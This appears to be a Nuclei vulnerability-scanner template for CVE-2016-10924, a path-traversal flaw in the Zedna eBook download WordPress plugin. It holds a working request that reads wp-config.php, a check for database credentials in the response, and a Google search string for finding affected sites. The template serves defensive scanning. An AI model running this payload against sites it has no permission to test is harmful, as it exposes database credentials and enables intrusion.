id: CVE-2016-10924

info:
  name: Wordpress Zedna eBook download <1.2 - Local File Inclusion
  author: idealphase
  severity: high
  description: |
    Wordpress Zedna eBook download prior to version 1.2 was affected by a filedownload.php local file inclusion vulnerability.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to sensitive information disclosure or remote code execution.
  remediation: |
    Update to the latest version of the plugin to fix the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/13d5d17a-00a8-441e-bda1-2fd2b4158a6c
    - https://www.exploit-db.com/exploits/39575
    - https://nvd.nist.gov/vuln/detail/CVE-2016-10924
    - https://wordpress.org/plugins/ebook-download/#developers
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2016-10924
    cwe-id: CWE-22
    epss-score: 0.69484
    epss-percentile: 0.98671
    cpe: cpe:2.3:a:zedna_ebook_download_project:zedna_ebook_download:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: zedna_ebook_download_project
    product: zedna_ebook_download
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/ebook-download"
  tags: cve2016,cve,wordpress,edb,wp-plugin,lfi,ebook,wp,wpscan,zedna_ebook_download_project,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e6a7728d823aaebcda6f7b48a065f0953fe17db3a51d86df5948fb9447afcac0022033957688ba0e3045de362fa76977fbf0331734b0cc87daef088a4d4d3c77fe58:922c64590222798bb761d5b6d8e72950